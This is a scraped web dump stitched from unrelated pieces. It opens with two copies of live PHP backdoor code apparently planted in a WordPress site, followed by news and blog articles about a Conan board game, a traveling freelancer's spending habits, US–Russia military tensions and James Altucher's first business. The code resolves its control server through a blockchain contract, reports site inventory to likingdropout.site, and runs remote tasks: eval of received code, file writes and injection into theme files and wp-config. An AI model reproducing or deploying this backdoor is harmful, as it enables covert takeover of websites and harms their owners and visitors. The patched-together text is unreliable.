// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Enlarge (credit: Owen Duffy)
Welcome to Ars Cardboard, our weekend look at tabletop games! Check out our complete board gaming coverage at cardboard.arstechnica.com—and let us know what you think.
If you want to run a ridiculously successful board gaming Kickstarter campaign, use this tried and tested trick: cram your box full of plastic miniatures. For proof, see horror hit Kingdom Death: Monster, a game with a huge collection of figures which racked up $ 13 million, becoming the most lucrative gaming campaign in the history of the crowdfunding platform.
Other games have been quick to embrace the appeal of sculpted minis, which brings us to Conan, a licensed adaptation of the iconic fantasy stories by Robert E. Howard. It comes with an impressive 74 miniatures representing an array of heroes, villains, henchmen, and monsters. Vetted for authenticity by an expert in Howard’s work, the game proved to be a potent draw; backers forked out more than $ 3.3 million to bring the game into being.
]]>
Karen Hong Photography
Last year, Stephanie Lee saved nearly $ 10,000 in housing expenses when she decided to forgo an apartment in Los Angeles to Airbnb-hop around the world.
A freelance writer and the blogger behind FY!S, Lee lived in a series of Airbnb rentals for 11 months in Paris, Tokyo, London, Barcelona, Seoul, Taipei, Singapore, and Honolulu. It cost her just $ 10,584.
She’s currently spending time back home in Los Angeles with friends and family, but plans to return to the road at the end of the month, kicking off her next adventure in Canada.
“This work and traveling ‘digital nomad’ lifestyle is just a different way of life for me and can be sustainable, so I think long term about it,” Lee told Business Insider. But that hasn’t always been her philosophy. At one point, she says, penny-pinching got the best of her.
“There was a time that I used to have a fierce scarcity mindset, but all it took was a broken electric kettle that turned my perspective around,” Lee said.
Here’s what happened:
“When I first moved back to Los Angeles, I had an electric kettle that had busted during my move. It still worked, but the lid wouldn’t close and you had to stand there and hold it down to let it finish its boil.
“I left it with my parents who insisted that they could still use it. I rolled my eyes and left to vagabond around the planet. However, I returned over a year later to find that they were still using the kettle.
“I tried to boil water for some coffee one day and I stood there like a coffee-deprived idiot, using a wooden spatula to hold down the lid, and waited for it to click and finish its boil.
“Suddenly, I thought about how many times my parents had stood like this and put up with this lid, day after day, multiple times each day; all that wasted time and energy. Just to save $ 20.”
Since then, Lee says she’s learned to “spend money on things that add value and happiness, or remove a ‘negative,'” from her life, like paying a CPA to avoid the headache of doing her taxes, or spending $ 100 on a once-in-a-lifetime dining experience.
That also means Lee avoids debt and puts away money for the future by saving for retirement in an IRA and investing in index funds, all while earning a modest income.
“This all ties back into my ‘F— Yes!’ philosophy — inspired by Mark Manson and Derek Sivers — which I repurposed for my spending, healthy habits, and some other decisions in life. In other words, that ‘something’ better make me say ‘F— Yes!’ now, 15 minutes from now, or even 15 days from now,” she said.
“It’s my buffer to curb those in-the-moment temptations, but also doubles as a personal mantra to challenge me to do the things that might otherwise scare me.”
To follow Lee’s adventures working and living around the world, check out FY!S or follow her on Instagram.
NOW WATCH: 4 lottery winners who lost it all
![]()
]]>
“The narrow-mindedness of some of Pentagon generals and their obsession with Cold War stereotypes, just as their failure to see the real security threats, should surprise no one,” Russian Defense Ministry spokesman Igor Konashenkov said.
Earlier on Tuesday, the head of US Special Operations Command (USSOCOM), General Raymond Thomas, addressed the House Armed Services Committee, claiming that Russia has reemerged “as a strategic competitor of the US around the globe.”
Thomas repeatedly accused Russia of “willing to act aggressively” to limit US and Western actions in post-Soviet countries, arguing that Moscow is “particularly adept at leveraging unconventional approaches to advancing their interests.”
Notably, he added that US Special Forces teams are present in almost every European country on Russia’s borders, including the Baltic states, Poland, Romania, Ukraine, and Georgia, to bolster “NATO capabilities to compete short of conflict in a hybrid environment.”
Despite diplomatic attempts to mend ties and de-escalate tensions, Washington continues to build up its military presence in Eastern Europe. Over the past weeks, the US has moved more troops and equipment to the region, including a battlegroup consisting of 1,350 troops and small armored units.
This week, the head of United States European Command (EUCOM), General Curtis M. Scaparrotti, gave a blunt speech on countering a “resurgent Russia.” While continually slamming Moscow for seeking to “undermine the Western-led international order and reassert itself as a global power,” Scaparotti said the US military “are returning to our historic role as a war fighting command.”
The EUCOM commander said more troops will be deployed in the European theater on Russia’s western flank, including armored and infantry divisions, engineers, aviation, and fire support personnel.
Moscow has consistently criticized America’s military buildup, saying it undermines the very foundation of European security. “We deplore that deployment, for it raises tensions in Europe along the border between NATO and Russia. Russia doesn’t pose any threat to Estonia, nor any other NATO member-state,” Russian ambassador to the UK Alexander Yakovenko told Daily Mail in April.
Still, the US and Russia have demonstrated some commitment to cooperate on Syria, where an agreement for safe zones – brokered by Russia, Iran, and Turkey – has come into effect.
The landmark accords designate four areas in Syria as safe zones, where “moderate” anti-government armed groups should not be attacked. In return, the rebels are expected to keep terrorist groups from using those areas as safe havens.
The deal has been supported by “all principal players, including the UN, the US administration, Saudi Arabia, and other nations, so there is a certain degree of guarantee that the memorandum will be implemented,” Russian Deputy Defense Minister Aleksandr Fomin said.
“The position of the United States, which welcomed the steps towards reducing the level of violence in Syria, improving the humanitarian situation, and creating an environment for resolving the conflict, has played a positive role,” Fomin noted.
]]>
Business Insider
LinkedIn Influencer James Altucher originally published this post on LinkedIn.
After the third attempt and failure at starting a business I said, “That’s it. I’m never doing this again! This is clearly for other people.”
I hated it.
But I tried again.
I had zero business sense.
All I knew about business was this: If you do work for someone, you get paid, and then you pay bills.
That’s the entire knowledge I had about running a business. It was very incomplete. But it worked.
In what follows, I am mostly focused on my first business.
How come? Because like most people who start their first business, I had almost zero knowledge of what an entrepreneur was.
I had to figure it out while it happened, I had to survive, and then I had to cash out.
After that first time, you know a lot more. So it gets easier.
I also assume: You need to be profitable.
99% of businesses don’t live off of “VC welfare” (i.e. they don’t have investors who will subsidize their many failures).
So I had to start a business that was profitable right away.
Which meant I had to provide a service that people paid for. In my case: a business that made websites for the many companies that did not have one in the mid-90s.
Have a big vision (“every company will need a website”) but know every subtlety in the business (I could program a database, design a graphic, knew how to optimize the website. Knew how to market it, etc).
Keep up with all the small in the industry, but make sure the BIG still holds.
The biggest day for me was when I realized I didn’t have to do everything. I could hire someone to do some of the work.
Then I was able to work 90 hours a week but get 300 hours a week worth of work done.
Thanks Chet for being the first person I hired!
You have to get the job. So you have to promise the world.
Yes, we can get it done in less than two weeks. Yes, we will be on call all the time. Yes, we will solve your personal problems and show up at your charities. Yes, we will put our best designer on the project and our best programmer.
And then we always did more than we promised.
We always had extra features that they didn’t ask for but we knew they would need. We would provide those for free.
Eventually, when you are an agency, all (most) client relationships go bad over time.
But when you overdeliver you instantly crush all competition for a long time. They can’t even think about competition.
Trust me, they will think about your enemies later. It’s not a marriage and even many marriages disintegrate into first boredom and then contempt
But first, overpromise and then over-deliver.
The first 18 months after I started the business, I kept my full-time job.
I had to make sure I would pay my bills or I would die. I couldn’t risk that.
So I diversified in many ways to reduce personal risk. When you reduce personal risk, you can focus on what’s important.
What is important? Doing something that you love that will make you more money than your bills.
If this sounds brutish, so what. It’s true.
You can’t be scared about what’s in your bank account.
I diversified by having a job and a business.
I also diversified at my job. I was a computer programmer but I was also pitching TV shows and even got an agent to shop a collection of short stories. And I considered other job offers all the time.
I diversified my business by having as many clients as possible. We’d do anything to get a new client.
And we diversified the business by trying to think of new products to offer.
But, honestly, we weren’t smart enough or business savvy enough to figure anything out.
If we had more business sense, we would have also diversified by raising money and making a scalable product and going public like many of our competitors.
But we weren’t that smart.
So we stuck to what we knew: People needed websites, we charged a lot of money for them, and we paid less for rent and people than we charged.
[ RELATED: How to be the LUCKIEST GUY ON THE PLANET in 4 Easy Steps ]
I didn’t know anything about sales. I probably looked down on it. Like in a “Death of a Salesman” sort of way.
But I had a natural skill for it when I cared about what I was selling.
There’s a million books on sales and persuasion. I had read zero of them. Now I’ve read them and I think they are useful.
But I think there are basics that every entrepreneur has to have.
The BIG problem is the Vision – e.g. if you don’t get a website, then all of your competitors will get a better one faster and you’ll miss out on an enormous audience.
The small problem was their budget. Even big companies had none. So undercharge the competition and meanwhile help the client figure out how to impress the budget-makers enough to increase the budget for this.
I never see a sales book talk about this. But when you analyze the competition for a potential customer you create “choice ambiguity bias.”
It puts this fog-like feeling in their heads whenever they think about “the other companies” versus you.
And you also appear to be on their side helping them evaluate all their choices in an unbiased way, even though you are obviously biased (and everyone rationally knows you are biased)
How do you get a high-level champion? Find as a many touch-points as possible. People in common, agendas in common, etc. Make sure they understand your ENTIRE goal is to make their lives much better. This is even more important than making their companies better.
With my first successful business, I was excited every day to solve problems, and deal with all the issues.
You have to have a problem-solving mindset and get-new-clients mindset every day.
But I badly wanted to sell the business. And sell it as fast as possible for a lot of money.
Cash later is never as a good as cash now.
And for me, this was my first successful business. I had no money in the bank. Money doesn’t solve all of your problems but it solves your money problems.
At least at first.
Sometimes people tell me, “if I sell my business I’ll just end up starting another business like this and doing the same thing.”
That’s ok. Do that. But even if I did the exact same thing, I still wanted more cash in the bank.
